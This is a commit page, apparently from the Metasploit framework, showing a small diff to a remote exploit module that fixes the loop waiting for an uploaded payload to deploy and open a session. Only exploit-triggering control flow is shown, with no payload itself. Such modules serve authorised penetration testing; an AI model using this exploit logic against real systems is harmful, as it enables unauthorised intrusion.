Fix waiting loop

bug/bundler_fix
jvazquez-r7 2015-05-01 14:34:43 -05:00
parent 645f239d94
commit 0ff33572a7
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 7 additions and 4 deletions

View File

@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
if res && res.code == 200
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
print_status("#{peer} - Upload appears to have been successful")
else
print_error("#{peer} - Failed to upload, try again with a different path?")
return false
@ -105,10 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
return false if res.nil?
# Success! Triggered the payload, should have a shell incoming
return true if res.code == 200
break if res.nil?
# Failure. Unexpected answer
break if res.code != 200
# Unless session... keep looping
return true if session_created?
end
false